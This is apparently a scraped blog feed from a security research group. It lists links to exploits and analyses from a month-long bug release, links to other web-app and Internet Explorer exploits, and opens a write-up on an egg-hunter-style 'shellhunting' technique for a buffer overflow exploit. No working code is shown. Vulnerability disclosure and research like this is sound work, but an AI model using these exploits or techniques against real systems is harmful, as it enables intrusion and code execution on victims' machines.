<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14971">MOAUB #11 &#8211; Microsoft Office Word 2007 sprmCMajority Buffer Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14969">MOAUB #11 &#8211; ASP Nuke SQL Injection Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14970">MOAUB #11 &#8211; ASP Nuke Sql Injection Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day12:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14982">MOAUB #12 &#8211; Adobe Acrobat and Reader &#8220;pushstring&#8221; Memory Corruption</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14983">MOAUB #12 &#8211; Adobe Acrobat and Reader “pushstring” Memory Corruption</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14980">MOAUB #12 &#8211; eshtery CMS SQL Injection Vulnerability</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14981">MOAUB #12 &#8211; eshtery CMS SQL Injection Vulnerability</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day13:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14992">MOAUB #13 &#8211; RealPlayer FLV Parsing Integer Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14994">MOAUB #13 &#8211; RealPlayer FLV Parsing Integer Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14991">MOAUB #13 &#8211; Luftguitar CMS Vulnerability: Upload Arbitrary File</a></span><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14993">MOAUB #13 &#8211; Luftguitar CMS Vulnerability: Upload Arbitrary File</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day14:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/download_pdf/15002">MOAUB #14 &#8211; Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15001">MOAUB #14 &#8211; Novell iPrint Client Browser Plugin ExecuteRequest debug Stack Overflow</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14999">MOAUB #14 &#8211; FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15000">MOAUB #14 &#8211; FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day15:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15008">MOAUB #15 &#8211; Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption</a></span><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15009">MOAUB #15 &#8211; Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15011">MOAUB #15 &#8211; PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15012">MOAUB #15 &#8211; PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day16:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15019">MOAUB #16 &#8211; Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15021">MOAUB #16 &#8211; Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15020">MOAUB #16 &#8211; mojoportal Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15018">MOAUB #16 &#8211; mojoportal Multiple Remote Vulnerabilities</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day17:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15027">MOAUB #17 &#8211; Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15028">MOAUB #17 &#8211; Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15030">MOAUB #17 &#8211; phpmyfamily Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15029">MOAUB #17 &#8211; phpmyfamily Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day18:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15035">MOAUB #18 &#8211; Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15036">MOAUB #18 &#8211; Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15037">MOAUB #18 &#8211; CMSimple XSRF Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15038">MOAUB #18- CMSimple XSRF Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day19:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15042">MOAUB #19 &#8211; Novell iPrint Client Browser Plugin call-back-url Stack Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15043">MOAUB #19 &#8211; Novell iPrint Client Browser Plugin call-back-url Stack Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15044">MOAUB #19 &#8211; JMD-CMS Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15045">MOAUB #19 &#8211; JMD-CMS Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day20:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15056">MOAUB #20 &#8211; Java CMM readMabCurveData Stack Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15057">MOAUB #20 &#8211; Java CMM readMabCurveData Stack Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15059">MOAUB #20 &#8211; VWD-CMS CSRF Vulnerability</a></span><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15058">MOAUB #20 &#8211; VWD-CMS CSRF Vulnerability</a></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong> </strong></p>
<p><strong>Day21:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15066">MOAUB #21 &#8211; Microsoft Excel WOPT Record Parsing Heap Memory Corruption</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15065">MOAUB #21 &#8211; Microsoft Excel WOPT Record Parsing Heap Memory Corruption</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15067">MOAUB #21 &#8211; Personal.Net Portal Multiple Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15068">MOAUB #21 &#8211; Personal.Net Portal Multiple Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day22:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15076">MOAUB #22 &#8211; Adobe Shockwave Director tSAC Chunk Memory Corruption</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15077">MOAUB #22 &#8211; Adobe Shockwave Director tSAC Chunk Memory Corruption</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15079">MOAUB #22 &#8211; gausCMS Multiple Vulnerabilities</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15078">MOAUB #22 &#8211; gausCMS Multiple Vulnerabilities</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day23:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15086">MOAUB #23 &#8211; Adobe Acrobat Reader and Flash &#8216;newfunction&#8217; Remote Code Execution Vulnerability</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15087">MOAUB #23 &#8211; Adobe Acrobat Reader and Flash &#8216;newfunction&#8217; Remote Code Execution Vulnerability</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15089">MOAUB #23 &#8211; Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15088">MOAUB #23 &#8211; Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day24:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15094">MOAUB #24 &#8211; Microsoft Excel OBJ Record Stack Overflow</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15095">MOAUB #24 &#8211; Microsoft Excel OBJ Record Stack Overflow</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15096">MOAUB #24 &#8211; Microsoft MPEG Layer-3 Audio Decoder Division By Zero</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15097">MOAUB #24 &#8211; Microsoft MPEG Layer-3 Audio Decoder Division By Zero</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day</strong><strong>25</strong><strong>:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15104">MOAUB #25 &#8211; Mozilla Firefox CSS font-face Remote Code Execution Vulnerability</a></span><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15105">MOAUB #25 &#8211; Mozilla Firefox CSS font-face Remote Code Execution Vulnerability</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15106">MOAUB #25 &#8211; VisualSite CMS v1.3 Multiple Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15107">MOAUB #25 &#8211; VisualSite CMS v1.3 Multiple Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day</strong><strong>26</strong><strong>:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15112">MOAUB #26 &#8211; Microsoft Cinepak Codec CVDecompress Heap Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15113">MOAUB #26 &#8211; Microsoft Cinepak Codec CVDecompress Heap Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15114">MOAUB #26 &#8211; Zenphoto Config Update and Command Execute Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15115">MOAUB #26 &#8211; Zenphoto Config Update and Command Execute Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day</strong><strong>27</strong><strong>:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15122">MOAUB #27 &#8211; Microsoft Internet Explorer MSHTML Findtext Processing Issue</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15123">MOAUB #27 &#8211; Microsoft Internet Explorer MSHTML Findtext Processing Issue</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15125">MOAUB #27 &#8211; ndCMS Sql Injection Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15124">MOAUB #27 &#8211; ndCMS Sql Injection Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day</strong><strong>28</strong><strong>:</strong></p>
<p>0day:</p>
<p><a href="http://www.exploit-db.com/download_pdf/15142">MOAUB #28 &#8211; JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15141">MOAUB #28 &#8211; JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15139">MOAUB #28 &#8211; AtomatiCMS Upload Arbitrary File Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15140">MOAUB #28 &#8211; AtomatiCMS Upload Arbitrary File Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day29:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/download_pdf/15149">MOAUB #29 &#8211; Microsoft Excel SxView Record Parsing Heap Memory Corruption</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15148">MOAUB #29 &#8211; Microsoft Excel SxView Record Parsing Heap Memory Corruption</a></span><strong></strong></p>
<p><strong> </strong></p>
<p><strong>Day30:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15158">MOAUB #30 &#8211; Microsoft Unicode Scripts Processor Remote Code Execution</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15159">MOAUB #30 &#8211; Microsoft Unicode Scripts Processor Remote Code Execution</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15160">MOAUB #30 &#8211; ASPMass Shopping Cart Vulnerability File Upload CSRF</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15161">MOAUB #30 &#8211; ASPMass Shopping Cart Vulnerability File Upload CSRF</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Press :</p>
<div id="_mcePaste"><a title="Exploit-Database" href="http://www.exploit-db.com/moaub-0days-binary-analysis-exploit-pocs/" target="_blank">Exploit-Database</a></div>
<div id="_mcePaste"><a title="Dark-Reading" href="http://www.darkreading.com/vulnerability_management/security/vulnerabilities/showArticle.jhtml?articleID=227300290" target="_blank">Dark-Reading</a></div>
<div id="_mcePaste"><a title="Network-Asia" href="http://security.networksasia.net/content/abysssec-outs-linux-vulnerability" target="_blank">NetworkAsia</a></div>
<div id="_mcePaste"><a title="ITBusinessedge" href="http://www.itbusinessedge.com/cm/blogs/poremba/get-out-the-bug-spray-september-is-the-month-of-bugs" target="_blank">ITBusinessedge</a></div>
<div id="_mcePaste"><a title="ComputerWorld" href="http://www.computerworld.com/s/article/9182999/Researchers_slate_month_of_bugs_launch_for_Wednesday" target="_blank">ComputerWorld</a></div>
<div id="_mcePaste"><a title="Theinquirer" href="http://www.theinquirer.net/inquirer/news/1730813/researchers-launch-bug-hunt?WT.rss_f=Home&amp;WT.rss_a=Researchers+launch+a+bug+hunt" target="_blank">Theinquirer</a></div>
<div>And &#8230;</div>
<div>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
</div>
<p>PS : during these project and maybe we made some technical and non-technical mistakes due to complexly and compaction of this work and we hope we can fix some of them.</p>
<p style="text-align: left;">at end we are happy with result and your kind feedback.</p>
<p style="text-align: left;">for sure we will have really more interesting projects soon as soon possible and we think you will like them as well .</p>
<p style="text-align: left;">please follow me on twitter with @abysssec for other news projects and stay tunned for more projects .</p>
<p style="text-align: left;">as always finally if you have any question feel free to contact :</p>
<p>shahin [at] abysssec.com</p>
<p style="text-align: left;">info [at] abysssec.com</p>
<p style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/09/01/moaub-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>webapp Advisory + not dead just busy !!!</title>
		<link>http://www.abysssec.com/blog/2009/05/22/not-dead-just-busy/</link>
		<comments>http://www.abysssec.com/blog/2009/05/22/not-dead-just-busy/#comments</comments>
		<pubDate>Fri, 22 May 2009 07:50:24 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[adobe 0day]]></category>
		<category><![CDATA[adobe get icon]]></category>
		<category><![CDATA[dana]]></category>
		<category><![CDATA[douran]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[web application]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=331</guid>
		<description><![CDATA[hello to all of our dear reades . we are not dead , just really busy in doing our projects . but there is a few notes  I&#8217;d like to enclose with you  .first of all about 2 Web Based vulnerability we&#8217;ve report to milw0rm .  we haven&#8217;t free time to working on educational sources [...]]]></description>
			<content:encoded><![CDATA[<p>hello to all of our dear reades .</p>
<p>we are not dead , just really busy in doing our projects . but there is a few notes  I&#8217;d like to enclose with you  .first of all about 2 Web Based vulnerability we&#8217;ve report to milw0rm .  we haven&#8217;t free time to working on educational sources . and those vulnerability was special for us because those portal was commercial portals uses for our &#8220;government&#8221;  , &#8220;private&#8221; web sites. and we&#8217;ve report those for helping our autonomous applications .</p>
<p>by the way if you like to see those vulnerabilities here you are :</p>
<p>first <a class="style14" href="http://milw0rm.com/exploits/8718" target="_blank">DOURAN Portal &lt;= 3.9.0.23 Multiple Remote Vulnerabilities</a></p>
<p>second <a class="style14" href="http://milw0rm.com/exploits/8719" target="_blank">Dana Portal Remote Change Admin Password Exploit</a></p>
<p>third about <a href="http://milw0rm.com/exploits/8595">adobe</a> exploit my next  writeup will be about PDF hacking / exploiting stuff (soon) .</p>
<p>and finally about future :</p>
<p>we believe to &#8220;no more free bugs&#8221; so after reporting a few more vulnerabilities / exploit maybe we don&#8217;t report more transparent / reliable exploit (as past) . maybe just PoC&#8217;s or just papers or just advisories titles or &#8230; . but who knows ?!</p>
<p>then :</p>
<p>we will try to update site with respectable index and more post on our blogs but you should take our apology for our late and unfaithfulness .</p>
<p>and final note :</p>
<p>unfortunately for a few reasons we disabled  commenting system on blogs but feel free to contact us with our mails.</p>
<p>for now you can use admin [at] abysssec.com .</p>
<p>keep on to visit us .</p>
<p>hope to see you soon .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/05/22/not-dead-just-busy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MS09-002 Exploit</title>
		<link>http://www.abysssec.com/blog/2009/02/20/ms09-002-exploit/</link>
		<comments>http://www.abysssec.com/blog/2009/02/20/ms09-002-exploit/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 22:23:54 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[IE 0day]]></category>
		<category><![CDATA[IE Exploit]]></category>
		<category><![CDATA[internet explorer exploit]]></category>
		<category><![CDATA[ms09-002 exploit]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=308</guid>
		<description><![CDATA[hello to all readers i wrote this exploit 2 hour after publishing PoC on milw0rm but now there is a lots of mirror and version of this exploit on net ! maybe i release DEP-enabled / IE protection bypass version on variant os too . Anyway Here is the code : http://abysssec.com/blog/wp-content/uploads/2009/02/ms09-002-exploit.txt mirror : http://milw0rm.com/exploits/8079 [...]]]></description>
			<content:encoded><![CDATA[<p>hello to all readers</p>
<p>i wrote this exploit 2 hour after publishing PoC on milw0rm</p>
<p>but now there is a lots of mirror and version of this exploit on net !</p>
<p>maybe i release  DEP-enabled / IE protection bypass version on variant os too .</p>
<p style="text-align: center;"><img class="aligncenter" title="ms09-002 " src="http://www.abysssec.com/blog/wp-content/uploads/2009/02/ms09-002.png" alt="" width="500" height="342" /></p>
<p>Anyway Here is the code :</p>
<p><strong>http://abysssec.com/blog/wp-content/uploads/2009/02/ms09-002-exploit.txt</strong></p>
<p><strong>mirror : http://milw0rm.com/exploits/8079<br />
</strong></p>
<p>Cheers !!!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/02/20/ms09-002-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft HTML Workshop</title>
		<link>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/</link>
		<comments>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 09:25:51 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[egg hunter]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=256</guid>
		<description><![CDATA[Microsoft HTML Workshop &#60;= 4.74 Universal Buffer Overflow Exploit - Another step towards perfect exploitation This is my next article explaining my second public exploit implementing my recent Shellhunting technique. Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but [...]]]></description>
			<content:encoded><![CDATA[<blockquote>
<h2><em><span style="color: #808080;"><strong>Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit -</strong></span></em></h2>
<h3><em><span style="text-decoration: underline;"><span style="color: #808080;"><strong>Another step towards perfect exploitation</strong></span></span></em></h3>
</blockquote>
<p>This is my next article explaining my second <em>public</em> exploit implementing my recent <span style="color: #800000;"><em>Shellhunting</em></span> <span style="color: #000000;">technique. </span></p>
<p><span style="color: #000000;">Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.</span></p>
<p><span style="color: #000000;">The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit? </span></p>
<p><span style="color: #000000;">Here is why:-</span></p>
<ol>
<li><span style="color: #808080;"><em>To overflow the buffer, 280 bytes and above are needed, this isn&#8217;t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.</em></span></li>
<li><span style="color: #808080;"><em>To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.<br />
</em></span></li>
<li><span style="color: #808080;"><em>This address includes a &#8220;\x00&#8243; byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.</em></span></li>
</ol>
<p>Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.<span style="color: #000000;">With the Shellhunter the shellcode may even include NULL bytes! </span></p>
<p>Lets recap what a shellhunter does:-</p>
<ol>
<li><span style="color: #808080;"><em>Searches through memory for a certain &#8220;lookout&#8221; value that when located will revert program execution flow to the address at the &#8220;lookout&#8221;. Also the &#8220;lookout&#8221; values must be a set of friendly instructions that will not cause an unneeded &#8220;Access Violation&#8221;.</em></span></li>
<li><span style="color: #808080;"><em>In this case there is no need for it to be alphanumerical, also size does not matter.</em></span></li>
</ol>
<p><span style="color: #808080;"><span style="color: #000000;">The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape&#8217;s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).</span></span></p>
